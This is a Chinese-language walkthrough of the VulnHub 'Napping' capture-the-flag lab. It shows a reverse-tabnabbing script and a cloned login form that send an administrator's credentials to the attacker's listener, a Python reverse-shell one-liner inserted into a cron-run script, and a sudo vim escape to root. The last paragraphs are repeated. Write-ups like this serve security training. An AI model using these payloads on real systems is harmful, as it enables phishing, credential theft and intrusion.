微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

VulnHub-Napping打靶记录

这个靶场主要是利用了钓鱼的方式获取到了主机权限。然后进行提权至root

信息收集

目标探测

arp-scan -I eth0 -l 根据显示的信息筛选得到目标

靶机IP:192.168.0.180

本机IP:192.168.0.187

资产扫描

nmap -sV -Pn -sT -sC 192.168.0.180

在这里插入图片描述

分析发现了,一个ssh服务 一个http服务,ssh服务需要账号密码,暂且先放一放

分析http服务

登陆后的界面如下:

在这里插入图片描述

这里提示可以提供一个url,那就填一个url看会有什么效果

在这里插入图片描述

看到了相关的安全问题target="_blank" 且没有用rel="noopener noreferrer nofollow" 作为安全的修补。

如果这里的url给到一个包含钓鱼页面的地址,那么当管理员点击这个地址审查的时候,就会触发原网页跳转,如果管理员没有注意到原网页的跳转,误以为登陆超时重新输入了密码,那么就实现了管理员账号密码的窃取。(通俗点讲:管理员在a页面点击了b链接,那么浏览器会打开一个新的标签显示b链接的网页,而b链接的网页中如果包含有类似这样的恶意代码window.opener.parent.location.replace('http://baidu.com') 那么a页面就会跳转到恶意代码中指定的地址,此时构造一个该网站登陆页面的钓鱼页面,当管理员输入账号密码的时候,远端就可以监控到输入的信息。)

由于不是真实环境,暂且不做的那么逼真和完善

钓鱼–意外的小插曲

在本地创建一个包含恶意代码的网页,网页代码如下 文件名字为aa.html

<html>
    <script>
    	if (window.opener) window.opener.parent.location.replace('http://192.168.0.187/index.html');
        if (window.parent != window) window.parent.location.replace('http://192.168.0.187/index.html');
    </script>
</html>

在构建一个和登陆页面一样的网页(只需要将源网页的HTML代码复制即可),并把表单数据指向本地,注意第18行,当管理员提交数据的时候会发送到本地的7788端口,文件名字为index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <Meta charset="UTF-8">
    <title>Login</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <style>
        body{ font: 14px sans-serif; }
        .wrapper{ width: 360px; padding: 20px; }
    </style>
</head>
<body>
    <div class="wrapper">
        <h2>Login</h2>
        <p>Please fill in your credentials to login.</p>

        dsafasdfasfas
        <form action="http://192.168.0.187:7788/index.PHP" method="post">
            <div class="form-group">
                <label>Username</label>
                <input type="text" name="username" class="form-control " value="">
                <span class="invalid-Feedback"></span>
            </div>    
            <div class="form-group">
                <label>Password</label>
                <input type="password" name="password" class="form-control ">
                <span class="invalid-Feedback"></span>
            </div>
            <div class="form-group">
                <input type="submit" class="btn btn-primary" value="Login">
            </div>
            <p>Don't have an account? <a href="register.PHP">Sign up Now</a>.</p>
        </form>
    </div>
</body>
</html>

将这两个网页放在一个文件夹中,并在该文件夹,使用python开启http服务

python -m http.server 80

在这里插入图片描述

此时输入 http://192.168.0.187/aa.html并点击提交

在这里插入图片描述

开启nc监听本地7788端口

本该在nc上接收到的账号密码,却没有等到,发现python开启的http服务中有这样几个数据包

在这里插入图片描述

其中有一个post请求,但是不是指向,我们预想的地址,而是指向了index.html这个文件,这是我们在aa.html中指向的地址,那既然这样我们就看看他到底发送了什么。

钓鱼–最终的结果

更改aa.html文件内容

<html>
    <script>
    	if (window.opener) window.opener.parent.location.replace('http://192.168.0.187:7788');
        if (window.parent != window) window.parent.location.replace('http://192.168.0.187:7788');
    </script>
</html>

本地依旧监听7788端口 ,然后提交http://192.168.0.187/aa.html 看结果

耐心等待了一会后确实收到了post数据

在这里插入图片描述

权限提升

使用这个账号密码登陆网页是登陆不上去的。

但是信息收集的时候发现了有ssh服务,用这个账号密码进行登陆(这里的密码是url格式的需要解码)解码后就是C@ughtm3napping123 可以登陆成功

简单的信息收集一下

在这里插入图片描述

发现这个用户是没有什么权限的,拥有权限的只有这么一个文件

这个py文件是用来写文件的,每隔两分钟就会向site_status.txt中写入一条日志说明是一个计时任务,那么修改这个文件,执行一个反弹shell的后门,那么应该就可以将权限提升到创建任务的用户了。

修改文件内容

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.187",7788));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")

在本地监听 nc 监听7788端口

在这里插入图片描述

权限已经移动到了adrian用户

查看用户权限,发现可以以root权限执行vim

在这里插入图片描述

执行sudo /usr/bin/vim -c ':!/bin/sh' 即可获得root权限

在这里插入图片描述


权限已经移动到了adrian用户

查看用户权限,发现可以以root权限执行vim

执行sudo /usr/bin/vim -c ':!/bin/sh' 即可获得root权限

在这里插入图片描述

原文地址:https://www.jb51.cc/wenti/3282334.html

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐